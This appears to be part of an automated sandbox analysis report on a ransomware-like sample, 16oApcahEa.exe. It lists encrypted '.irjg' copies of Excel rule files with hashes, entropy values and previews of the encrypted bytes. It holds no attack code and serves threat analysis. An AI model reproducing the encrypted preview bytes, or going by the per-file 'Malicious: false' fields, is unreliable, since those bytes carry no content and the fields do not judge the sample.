Preview:	<?xml.i....%.`....R].....2...lJ@J[;..=s.......)1........H....B.oL..S+........u..M..B..Nkr.....j.'-Q.C.J...&...k.6..QT....w.l..p..U#.<)6...89..\.:."....{.'..!.u.&.d..-.]..q.@..R/s!._#0..nY.......'.L....I...m.o....... ......{....E...5w..G..z.m..i.....6ce..X..<.[J!*%4/.v,...D..sl.".....h.&...x&s@....$0Ss.._..zJ{.g....iZ...9<....:3C.%.J..r.... .\|.l./n..$)..B.....J.;..x".....KHHtVS........)...H. 1_...u.._G.>q7.OiO.`W.O......h....R......e..q.(...KU\@.........p#.@..d.h.....y[.....]..g......W.g.]...(........!..J.iD#.%+.<X...!N..._..W.5.$J.!:.\|^._..z.\|9..z.(YC.....s{../>..6...P.8.z7.......h.....Q?...E...>...GM...U.z.W_fH..(c.43c$B..B.>(..>q..<.x^.'...I..l..M9.6..rvY.5...[...0$q...@....G5..j...`.o.A.w.....>.D$..v..^....&.W.=X....VU........m..ok..B.X\|g{..J.+.....n...8..'M/.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170133v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.7230456921801505
Encrypted:	false
SSDEEP:	12:G4UHK/hW7rLZLfZvFYuA5EsMnhYjM47g6XgIqwka1cR5q3bM4wq0z8jx2aUAkBsX:GJHGur+EJOMYFLSAbM4wqLx2aFIs9pbD
MD5:	7FF32FA03E4F7386762843F69311AA8C
SHA1:	2690185B59FAF0DF1D457114AB245D620B9B1925
SHA-256:	DDA5629725BD390772B173291DF3A02401FD3AB12A3D8B6275852AB47035A650
SHA-512:	08F9D817EF4CDACBAB5E474318693B6B2197B2D30C9910703CA1052CBF07B9B0633F639A9608684E9401A0FD1ACDC4DB65E9F4651F188DECF2F5653CCDE675C6
Malicious:	false
Preview:	<?xml...U.q...4.Iri.VC.. O.i.......,...T.....ad....W.......N.\|.[..../.&..p.O^.k...../.y7..?.9.!T.5.- [zj..Ct...M...........G;..g.)......(V.W...Y..h.M....3\.P.p.G.......nN...y6.@.8.D5.)...6..a...S....+.Y.cD..q.w..)L..I.m.\|.......f....{.q.H...3.`.C.3.in.,&.=[,.f..?w..94x,.!N../.1K..9......1l.1......Nn...MA5~*.s..W..Jw...cS~...[(j.}.......6.\oCI'...x...U.-.,..\.qH.....\|N./..f....._.E..zJ...nR.W..?...EMa."0D....nW..\|7.......%..].2..P..E%X.x.).o7..^..F1\.!p..........Y.D........\|.......?..8...Z..W.f1...C..H...J.~B.7.........o.K..eS.WZ..=.`K....K..~..~..jQ..M.4S..i6<...c>...;.....[.......9xp_.2Q..'..O..p@...."...O8.%..i..w..?.\|.:.1..R]....R2y@...~W..()....z..&...'%&;..!..>..!.\|..sxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170134v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.7201747033589605
Encrypted:	false
SSDEEP:	24:fWcYYmpaB9GDSOIwsVwlLOj6BsboH8ByuVs9pbD:lYYmpaB9GO3wewla2B7HuySCJD
MD5:	C8CB38729898796FE095F5F4E77ADB00
SHA1:	7788ECD6974047AAC46FA9346F173DDB00697A34
SHA-256:	6A9B610BCC14D0EB32658008924B07538E1B50941E2C9B55DE5BF8356A54BDF5
SHA-512:	D2555F7F7106625E9CAE067ABA6BB567FF9468304EA34E99034102B2765D19DCC5A333F248EB844ABBC5C3D84E4E34CE4D07431F97B71D1B7F55D5872E025615
Malicious:	false
Preview:	<?xml.NK..I..O^,~....a.3...".7og.&....5....='......i......f.-.\.Q\.m.&#...`..s.N.C.....r..]....W..hc..{.kG2..P....F{E......$..r...ui.d.3O$..<..v.R.#.......[sz...u...`.i.....Q....k...$r...%{.W6.I..7#..o#G(d^K...N.+zNdE...`!p2QY..AG.B.l..1A...fd:f..?..w...Ul...`B...@+.Rc..7."..J.h<.HV.z......\|.Nd_.c."#....rk{R.3.3S.....\HX...Gv.;..Lc.'.L......bki.d...[j..2........6^...&..~..m..-`s........Y...b..Px......5.az..3..pA.\|.....[.F.c....@.....Z.L....$A....F.QQ.i.W_..;.....R&...8.....X..=r.h.*.nx.Ld(p..>....EE.!..1=...."...k...{p.....v....(.;..........w..VI..)y......+#..n..Q..90..S.&M62..:.x..]..X....Gg...Xr?...R.,h..UXF...j.........\|.....6.]Y.D.9"8(m......8.....y..%.)P.YE...H...~..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170135v4.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.7560634220776015
Encrypted:	false
SSDEEP:	24:yV5ZJewLlBW3q1ttjYySIFD+O4Hx9oRixi9pbD:WYGHKKV+DPGixkJD
MD5:	E2D3225C0AC3CB898A9990B62E79D35B
SHA1:	F9DA6C9FA36B32BDB22E4A0CBCC0C7CED9E9008E
SHA-256:	1E5014768B0E18189E36D99F97B76BC0EFD2ABB6619A754D8F3B3E3ED34300DB
SHA-512:	92318EFA2DE96586FB22CB6E992CC92CFB5EE4FFBAEC01B3BF755E7F0AF4F8AD3C1C93839C61784EEF5124E78FAE7C2E0333EA532718AB3FE51D9829C1D65FEC
Malicious:	false
Preview:	<?xml......l.v.8..^aPQs..nA.R...5....8T...g+/....IC..o.{.l..@s...e...-.Q...Ng..\...lX"~ .P.w..V"D...8......}3.a....H.X(.+....K.+..^OA....90..K.OE.g<..Vb5..mf.-#.%6..v.{...U....<@.....<w..B.]...j.C{MS.%.4W.`X.?.S....e...I.e...U?.....]>..~..U.#...$dM@E<.F.......`..].~t..M...^qWa.GB"Air..bS....8rv.......EKvao.....f.20...+Ds..'P...._YV.vpv.......:i'....%.J%.P0.I..k.L.U..K.2.}.4.FD..7.0.{.-..%.M+....Fg8.Y..B.C..i....U...<.5...!.5..G...kRy...Uo... D.......U..K].U......\....f.w.~.wi.....%..../.........L.-..7...7..(...!..oTA.%U...-.......v...N.FS.....7\[Xd....lv..q.HW..v(/v....J/.nV....{g..v.../.....q.....u..0.Y.bn.x+g.6T..`. ...do.2.O..,.z.e...b...\xo.RnE[f....?.s..n)5k.B?......Or..$k9og..['.S......f{.<r.N{.$.&.. ..H......S.L...ft.m...U#h^....<3j..Ze.y.I...Y....G\j..Q.Ls.._...'(M..Q.@...u...g.va.q.<.N`..(..W..*./..!en_.'"....u...#G1.9G..^x...)..H.@..=k..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170136v3.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	996
Entropy (8bit):	7.792884530191342
Encrypted:	false
SSDEEP:	24:XjpNclucs57XcVM3Zrgw7jmkyaDruBSWCdefgNYCSSbJ9pbD:XjTcutmMJ57jmkRDriCdefgydOJD
MD5:	A86FA3B0A3B31868EDA28B525DC4ABA7
SHA1:	81B022868BF6B98791836D1C3DDD56C279989B9A
SHA-256:	535538018EC9CCAA7D66793937B0E066A59048724369AB33A23E70F4F07FE0A5
SHA-512:	402DCC5A682F9674351496DD904B141F31DF8B2A592E83E687076067524B3242B6E47EB0D6C6627557FCAF30BC3982C81E720E355D59F0BEF1665C8A4144937C
Malicious:	false
Preview:	<?xml)..*..A......x..l..qF......G....8..a.s]..XXE..5.........7 DJ.....K....8...7...Wi@.-.I..a.>/<.Ei....wM.../f..K..'3.~2E......w@..D}.N...O.E...o[a........J.Y.mt.H<l.oZ.p....K.0...=.......9.n.vx......@9..S..Y./Mz.U..'....$.X.....(Nj..2.99.<.[R......'\|...k..qb.R...n.T0v_6.._....N..c...{.~.M.I...).=`.9"xjJ.o.z.".......~x....~vh..)].w.>.F.....8n..cm....{.....p...&.....!......`.y..:.....Y.........E.BZ..m.I)UB.?...&.k.Q.5[/$.X.1...l'k..yZ.uT_...B...r.u.A..........\.O...%J....OzQ..p..&p.G.....uT.z....../..{......S.C.....p..vU<e..2...>....A.g(x.....<a.R.!.]^.{Yh....m...O.N..${...k.".@b.L`a..+...y..~..n..u.9Gkkd..nZ^...k\|")f:..s...........?<Y..r.:....8G..2......CXV......%..`..\..{..2S.'%`zQn1V.6%M0=..?@..._..Q.6.=....8I......D.........u../..M..T.o.u.W....0....=I.q...c....Z\|..in..'....C.j.N..8.$U.).qMm]ow..GOq.5...4..........h].........^.....=@<..P.{..M.k..YxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170137v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.733544730970785
Encrypted:	false
SSDEEP:	24:QqqVJnMgcySVvdp95BqQ7cqHQwZKHmy9pbD:IVq/x98qwwd0JD
MD5:	BBBB549EBA37683F0822DE1B5DF91CBE
SHA1:	680D81EB2B1BE7751914BC29E1B9DF49E40FEA0D
SHA-256:	B980F9815C22D7BAF281F330403C6CCEA041F9C2B3566D8E7B0786599E64186C
SHA-512:	BE8D2FBB264D711FA6CCD882EEFB1518A1BBDAC0DFACA9853BEB254483137177705DCDA31F2A671BDBF113DDF722E981A7C20FE2FB56401336DCA8FD3CC476EC
Malicious:	false
Preview:	<?xml.]De....j8...=U.%.N<..` `%p.F......Y..0..h.i....8...,..@.;......./3.J/m..J.j..i.S...fC.].... s.r..AdC0\iD....C...jw..u.$.EE.Z9..z...V.nI.5...-..t$.jI{S.xqg.o5.........a......_..yF}G..).....M..Q..$..}"6....ic%......".....Q\|..R{....`8#3.s.%.{......u..Z.!.n...q2.......-.....4...d..SU]e....v..._......:Q.\|..Y...H`8@.c.8.../..E.\|..y..h..S{.x.`u.g .V....;.3...n?Yw........G.K....O..\>.!.............}....4.@....W....a.....B.vV......8.. \.....ym.7.y.^q.....M.(r4`..MA.R.R..._.q,.}../...yu..Z..I...l.Qt.Wz.s..l\n.c..x'c.<...Qq#1fm..:.;;.......3..<.-.\2j...}c......(.4.....5.{..j...C....H2...?.I.i.*/.S..".......&.J#...f}w4.......f..A..k........VV....;........R..o.N^.j.<..p...R.'.xmS_.\......C..3...v...u..?N....g@..Y3.%......W.....H.c.@..o....EH.1..U.x._.d.lEE.5Ii..}....;A.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170138v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	799
Entropy (8bit):	7.7131469446538246
Encrypted:	false
SSDEEP:	24:W5h0R7MHxc9A4i0DaMM55C3lrhA7Ny9pbD:XMRc99Tel5C5JD
MD5:	1C5540B37A21AFDBFE607B6405171559
SHA1:	6F1998D490A81524F3FBCA43D9478F4BBDE450D6
SHA-256:	16E27C20BED7ED442B3AE7DA9442DE2EB709F70E917542BA517D7DEB5CD5572F
SHA-512:	A253D6F2BA3685CDD58FE176C11AB71AE9D57C8BA3FE653FBF4E0CB799B9F3A178B66C2C526AD7F5A11C866D0C8B6532244A3794F1A53BD32094D9B0D4E27126
Malicious:	false
Preview:	<?xml0...P>..............d...]..3q.......P..;....3..FR7yV.!M.%I0.@e....F!UX.S.y._.....-.:.HZ5.P.........e..XV.0&?%....G.[..YU.6..D..y.}.{.?`t .$...5..\.<rO..&.........L....D..i.H.J..$.K..4.if......~..[@.'.`[=a..)...e.......1.d../.....j..AVp.4.+4.2C..$......s@-.......Z.......B..}.O.p.i...i^K.^.r.k...Wp...@.E...b..?.2...){..}+I.{..%wq.}za..X.XH....C$-8p05.....U.<;....7/j._#7+.[..s.\|.M:..y.3.......\.n@.......pM.ZKs0.Y..M..=q.......\|.."!...jbVhP{...ix....23......zm....fA@I&.DX..[....m..;h...v0@CC`....kg......9..&.{4...&...H...WB.....a...&......u....Ro.p...c6.%d...EjQO....: ....~,n.v...\.W..[a.Z.....2.m...1.\|..{.5....p..W#.n.......6qm$...)...........W....v.......G,NMl".AM../U....B.?oH.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170139v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.727225751753829
Encrypted:	false
SSDEEP:	12:bZ+H8o2HNPeIEXLaXOiUalRktQ4F+ijIF5ts14xfc4tWQdr29M2cii9a:tMoNPeIE6OiUalCtQg+ij+5e4O0y9pbD
MD5:	BAE030D2545B565FC5397DC62AA80257
SHA1:	8D5646AD08BDBAEEDC863EBD1760CC90BF3DF5AA
SHA-256:	CD871676ECBA5BD3060EC4604C3562066FF47B34C082D294768B33328E90206F
SHA-512:	BAF3DB32312B6CE17326C41E5C923BFB95678C2878CF5B6E6347521435700F83E91BF7BEC1E42CEEE2B04167BF672EB9F828C82F260C8A4112A6ED072D9240D3
Malicious:	false
Preview:	<?xml.he.......J..c..Q.!.@O..\~E.g.es5.>....f...T..r...bA..l.{.?.....y&c.CF.....q0.b....eI.\R....&c..g.>ounSN(.h=...$tr..^.sE..^.p.'.&a....M.J.`"qZ......s,..W.`!..YHM;%H.R.w..).....nPz.`.&Z~}Jc...-,y\|.W.+b..eM..........CG...MR.....K..dpl:......F.dA.gJ. ~88.`m...xn..Z..........ma.Te..$.={..^.{$L.NQ............q.Lf=.aQ.C.W.....;S7....m.... .{0Vkh..}3...Ln..(6...v...6.-j.6h[.O...%I.vb.(.I.H.v+...~#1.7.....u.#..)u^9.+6...!....2.yBK...E......g...~F^3..s..7._..u....S....O....P..4..7.].t.UC_&..ux....xla.1..$(......;....+...) S.........).'...c..O.oDR..0.{..X....c.W>.H ....iYVK).....aM.....I?.(#...I...#.yw..c#..5l.!.^..c.....BZ.\|...)6Jx(.4f3.2q..A.p.\...KT...Fm.?.D..a.$u....d.h.(.Eg._.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170140v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.718173816144397
Encrypted:	false
SSDEEP:	24:1CllTudMkN7gY1W+pnI1d9eWUShnD9G81ROFuRouH8NL9pbD:GWMkJprIHsWUQ1R3ouHCJD
MD5:	08DFDF390D6D7394D61F173A64075B8D
SHA1:	2CA20A6E934A063EF2ACDDCC19D8D4033509F8B9
SHA-256:	CB86FBBF3587426752C1A9A40FA6EC786DFB128F0E943367B35D594F1A6819CE
SHA-512:	CABFE97C48300D82FA5030C705D6343337F6FDB95D4E3518CAFF77A0CB3B86F89ECCA12D4343F8414D098B789FD420329EFC815CF233097DE2DBAE292FD1DE9F
Malicious:	false
Preview:	<?xmlZsE.AL9...u....{.9.._.....?aC.yD.....7o.~\|.0..Om..L.Q.......p7.pE.1..H...GVE/M.z..O...-P....4...$.H.N..<.Q..D.1..y...p.B.....I.........sfy8........]!.It..T3.[.f.>..Ey`...v....lL.9'.O.V&..L~.#........<.94... /.q....F.no.........9n..~i....~!..k...P...-...S...:.e../M....5yL.K...\.w..?j.^...z....Sr..y.x.K...y.].-M...\|..Z.#........}x.R;..q.ov.(.%z`...+....g.....Z{....K....k..h.....j.....v......e".k...}[.....v..F].......,.+...?9rMeZC....>N...[.SZ.}.-.<q......~.S..2..}..5F..SM.L.N..m4.C...?.......`..O..... ..../..H....8..f.>4.N7....NO.y...7.E.N]H..>@j...Z.a,Cn..h^..G...gx=..T....I........y..{.[..H....J.).+.x..n....?...../.&.L.!.vR...Oa;.._S........[....r....^..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170141v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.809714223123632
Encrypted:	false
SSDEEP:	24:pQfBMG40rUxRvoiyTSAmtJwGtG9/GUaE2fwnd3dUBPfqv9eOKRXc9pbD:pYMG40mJ9yeAQusfGNUBPfqv9jKRXyJD
MD5:	45AA76FA355F347A5364210EBA51F14D
SHA1:	178A9A92E662DA28F87FDBD5C418B9DE6D53F559
SHA-256:	7429A9A7F989012C9228D7234F45C30CCC177A4A773906C53956DE08B612906D
SHA-512:	53D6B98D87A6AEAB48EA3760409C789DA38B554A6F4014CDF88124E3B2C508815182FF1FFCF10D98DC2EDE5DE71BA217B52FFCB98C9FCD46A26688FCDFFC5FB4
Malicious:	false
Preview:	<?xml!H....Q{.+>.#...l].C......C..3j....)....#v...=.a^..T....w..F.;.i..#.I>..].D.8...\|.F..H_..H.P...fi...W......-F.`......).d.]r...........5J.[...^V....K..P.w^...4it.`O.-.(m..6..?.@...C...O.W$9.6...^!..{A.D],.#H~s.Vv.URa...Yt..'....8....9...)......!...Q.._[..d...\|Hh])..........K!.H......+Lg8.i&H.e_.....!..2.....k..q@...>..L..o..m.7...... <.\..a..;..[.+."'.s'P....db+....c....R..E.?...(M.%.8TC.............!....'.....&..&w^.EC.......y.t...2...?....R......~{..A`.wH..n...Z[Pc.y.. .>.cRP.4l..3,......i.&.g..#D\|'.;B .N.H.h.Kn.&.nJe..(..qnx..A.0.2X.f..[Z.@..2uE]y...../~u..DX.?......`./+d=A..k..&..$s.p..A.2..d..l...sB.).../.4...m...`.ON5....df...I.m.?.4>}...4.D....XU.OA..[.......O..$.....cfE....H\./........J..1\|a<a....!..8b..K[t.2.Mx0....c.Ef.....}:....p.......f.o8y.V'.x..q.L..f.8...p..E[.(Z..<....R...kL.S....@.^.j.2....E7.L..e.Y....$c./q..cO.P_...._...5U......+>..@.7.....M.SNz.OHU$..d.xU.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170142v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.754744928257735
Encrypted:	false
SSDEEP:	24:mSyOsiCEyM4hqOeHcOCKQ5y7V5WR3hy13nH1DNCB3raZem9pbD:hpsiA5SHPu+V+Y9nVDkwJD
MD5:	39DB7FC8E29724EA60416C8C48FB3D91
SHA1:	A5EA261BD18DD694D304BC4B15AFC620E7E54E2B
SHA-256:	87FAAE50FCCA4759BB6E55650EAC77224545ACBA390336D4DE5FBA9ECB30B6F3
SHA-512:	2E19BF3D100A39B086DAED897D7059FFA4B37B081958196350C9289C9A157C38F7C27770FED300FAD31AE5AB5B8CEF5BF84C92C4F600381624E3A89115EB90A2
Malicious:	false
Preview:	<?xmlV.`....b.O.I..~...0.]}...oh/..)....`......l.u.....s..jPa.&..8G...(}xz......YW...j<3%........H8..F..c`....5..p.........[RHs.pi...Q\u.....^.qYh\|....;'.@....H2a./.!..P..^f...V. .V..........S.....t.Xc1.J..&..y... ...T.M.ec.wJ..r.....x....j..^....(.....n....."....~g...h.....j.O.....\...C`..fS..n...C.l....d..1.....E5x#dciC>...s..z. %..ao\..T..R..{...^nr....3zzutA...(...`...~..-.K.K...........A...i...."!Q3.F......S../.o4........#...t.W=.=.O..4.7r.........D........x..%Mh.W....iP...f....\|W~id.g..._ujd.!...".y.zz.F....b...v...n..5./:I..>c..}.K.K.$Z..v.....{.....Nk.E...V.:.....b~..Z._.eR.....S..ky.p...V.=K;9X..<...Q[....BjR.O...jl.+....t.!.0.R....\...M.d.G..2.6..c.k.A.. ..}H.CL..y7..hp.1..&j Eq.3.N../..H..e..;f..mp..?......._j..1.V...O....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180003v5.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2217
Entropy (8bit):	7.912310539769343
Encrypted:	false
SSDEEP:	48:HMGwFDMV2I/fDHeYXBbVzm8h1yRvRzNDTyjHwai8az2ZViiJD:+CV2I/TeYXBbVawQfpTkHxWaX/
MD5:	870B50A0B1B499843B1D513ED703AED9
SHA1:	11B7CB9B8A17BF5849D0D30488CCD1D288EBA322
SHA-256:	80F68FE11727CE7186F4D62EC6EA9BE1FABD5C1A58FF8D4EACC3C6848E7D7516
SHA-512:	98C7D2D96B35376903EF9D40651D94608A00C16FB7F0DEA289E1FAB84375DE5BAA6867001982F7A0AF42972F3CB071DB4E68349942D7CA042B89613F24333181
Malicious:	false
Preview:	<?xml$t..q.M3.c....p...D4<Y....b..\|.FT..+.F...t..HpLM8.5.c.... .:i`6.\|...]G....i#...U.N.:h.ee...TD..vr..q[.....-.1..._gg......>K....xZ......w...`w.}1.0J..\.q......+v....l.....8..H....a..b......>sO.:..,.HF.2.5j.'.Y........xZ.#<k..E..H.v.0....>e.E##uG...`L..L.....@._...QkK..W..o..V.]P.._.w.]...tZM.s....!..1........`...$!.........z...............&w.^L..E...\..I....2..J5I....u.._."..(..=..K..K.B;.l...f.r.....;y.....g?<"....m0..X... .j..:e..Q.F/.i..umc..;(.f....."@eN..4^.07.x....Q.i.......F.N.-q.@J@...S.@22Y8...,.T.....P&I.....$f...U.....M..P..nzl...5...y?.=.Q....0...!...(r..e.. ..'...D+.9.`......\|.0.......\|.]Q FO....@.....c{b{...A/..,.E..B.>...SKfC...vW...[}.uh.`^.H3...b..Y.B.:[...\......7.....#k.J.-.a.r.._F.b...1. m...7.).R.3OR.......<.A...ktzH...W.T.\..A$....N,.....;.7>...s..+-..F...n..t....[.?..p....2r.t6...a K.P...E.B.."....Z...[..5..6.ZD..@...........A...xfu...qu....o~....[...#E.{...Y.=.YChf....S....@...S.N.1.p.5.q.......6..b

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180026v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1987
Entropy (8bit):	7.905126047789238
Encrypted:	false
SSDEEP:	48:LY+HZOlMRXIGPbvCRFM8BRMW5ny5V2ACcao20JD:ESSCpzvCTAfao2e
MD5:	F6028AC376D18FE303768A1DEC131286
SHA1:	6C3AD6F23048D372129191130B8A9EF5289FD6E0
SHA-256:	CF19B58DB2BEC5AE633D83B88BC9DB3414F32EB7E5D4EC3B47B64A3DC03664F7
SHA-512:	6C62553D25C137BFA1D3DFAA34D619CE88DD4847247C8EB4FF2AB62F41F3A60880FEDC64833400B18DC9D0265A0289860610AD65F680D8974898218D4C3257E5
Malicious:	false
Preview:	<?xmlb.....)..x.6...gj..j...`{....I...f..1.....0.S....kxT&.N.......X....m....m.,.4....\I..3.\|..Es$bOS.(....,...n.\|5..b(BM..hr...a,PP.....d.t.>."....&x<...2.%.ME.."...0Qz0.:.c."}e...SS+OC..a.........n6.t._..)t.r...~B...s.O................_.x...E........=.e..Z.....}.t....#.bDn..j..._......E!..C...."...l...........8..c..3F2..k)kg...Qsp..p...3 .(.E.........AO.Bo}....O..H..A.P[...{..^...\...C...\`.7.l...v...$.........5l.?..j.6.'.\|..8.S..K.....m>....3g...[....D;......A..i..H....5.>..%....<........HyJ,5.0...Y..@G<q$G....}............Q....`.z/=...cI..z.....o0.....cO.z.wD.....L1@q.E...J"&.=...L}..yh...9^....^....EL.....E)F.@.!.Yo\..A.r...X..\#...z2.Az65Y,./i.BzE..!..'...!../.(.(%...D....A.ke.a.A.s..9..X..(.......[....l..%........V...c....a..%k..v]Y.......)WnjP>..^$...%.6...-....=.+27Kc..R8.....\|.i.Z..P..(...(4.05.i.....y.w.0......~q.......^..q1#Vdq..E<...~.{..C.i.n.t+.....M....L...t....z..s...c...PK`...^.K..XY._b../.}..3.y..Qs.anv..=..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180027v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3851
Entropy (8bit):	7.950092766101924
Encrypted:	false
SSDEEP:	96:GnzVxitdvw3pP28mwt9HO4eRUhXHxkewHKizgIn:Gnhx7PJzt9H/eRUhXSD/gG
MD5:	452D69931E941747F453676B0E58FCB8
SHA1:	3A478D9A5E7788713192930C6CC42F8C27D2A340
SHA-256:	ADE069C72DE1BADF78DF746EA0D231DCEEB67DD653961F9343D19824630D27B1
SHA-512:	6B5D4478FEE2C396AB21BC5D72766699F44141286799A082BE4DA5BB7B1109551D63932E091F429CFA43E6A71BB136563674E7B7455BB82F3844F6B63F9D28D4
Malicious:	false
Preview:	<?xml.^.Ep...SG..9.g..\|]>^.'O.,.G.F..F[.lq......H;L.U..}.t.&-.;.Zr.iq.._R.;...hs^.5..Lr..^o .......#.F.9.o`<....1.F._...5m....Ce..\|.."3?....+9r.~....Ish..zI.p...Gx..i.a..a&G....G....<.B....!.N....$]Uu.W...WU.KS..LG...i..].+..%.C<...O..Z...J.>2.RR...u.5CK..Z...D..U.....<W........e1P..m.1.!/......=.,,,...wj&g".... ..s).Em.....K.!<..@A..O.2..x..\.0..1.K....}y..bz..i>..%I...`}.....\|%Y..../oz.....}.s..U..J..O\..@g......z..{.1N......k(7..$n..6..a.H..........\|l.pk....#@".G GL.B_.w...f.V.(.{N......A..2.)VA^m...0..T.......a..?.\Oj..O[J[....qD......NN.+..i.[f....%w.c.A.Z64..2c(N..~5...?.Y..\.B&^..i..Ph..M.7.G9Y...v.e..0...J.db+7.?M_..e..e.+.....d..]...A.(D.4....m..M....R....=...k...'......(S:Dc.B.mWgh..v..t.0C.z....l.`S..5M.....I...1..M.^..TW.mz.o.Xxv..8.....g.8..,.f..qz...C.]c...E..'.;.j/.y....ce?F8..........f^k..O.h(..Z.....~..YC.4..!).5r=%.D,O....U7....d'..a.tD$..9.@.p.,;f7g....5....9..E.....X*.V.0.d.....?.ah`>gj.A.....AK5.k..r..x(...%...l

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180028v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3223
Entropy (8bit):	7.93291351604566
Encrypted:	false
SSDEEP:	96:PqqbDQh2sU+FCxDYWkpU7SvAQxD76gcrxT:Fb0h2sU+YxUJaOYmi
MD5:	380240AC700D6F01F108198AC4168709
SHA1:	0B7E50E89138F19AEEA9F922AA204FC6CF8F1AE3
SHA-256:	9FFA72A3B9B802BDF681162CF19AF5814A56EC79B1395DCD6CB6506DFE14E23D
SHA-512:	BD584DECAC288F90F919EABFFC9E8CB16FB35A9045418028137E01F024384DF9B69731705C9F6F10BBCFFFF0C949988B869850D4A495BB3D38D55BBFAF5C3995
Malicious:	false
Preview:	<?xmlC.%a.b.q=..v.j..- .$...k..z...O..X.X.......t..m.....B0..u....o.T.@.h!.C....iW...B.aBKx.H.....f.......".....JS.&~...b..Y]........4.;..{.^......k;............T8.7F...s...N.....B.....o.x......I.N..5GsG...U.<r.2.hY......8c..]...!.u....1.#...Y.<.........k.t...#....F+..B.C.6j+T..m.U\|..o.+..w.a...Aiyg8...{G.M}.XJ...BZF......j.T\.?.v08v.....:..?.w.Jr.X...A.........b.....?..g.'."..?.&.w7...f......Yb.xr.p.!..:%e..?s..S>U.UW 7..w..eq.7.D..>u".../8..wm.rqoi....@o....\...Jk.j#D~.. J,.I.[.#...>......../.Bo..=Q/.!..&.A.R......8..y....q......\.............c..u...;.W.{......h.){.8...R.*.#:^.....M..M%Kz..'r.BA..Y....=3...vb..1.s[.D.!.........3...C...F5VQ......_f.=U....K.`a._..E.........N.:(a.....\..._r.b..dwa......,....(#aD_.T.....A.t..]N.B...6../YD>C.1....e.r.rAP..n1...VB.g.B.'L..vfh...............B...........:.m..=...v.lV........ .,...{..;.,,.w.5N......2...7.w..p)....V .l.......4.vr`Nn.k.K%Q...w z.`..!g.....'......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule180029v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.877560693314067
Encrypted:	false
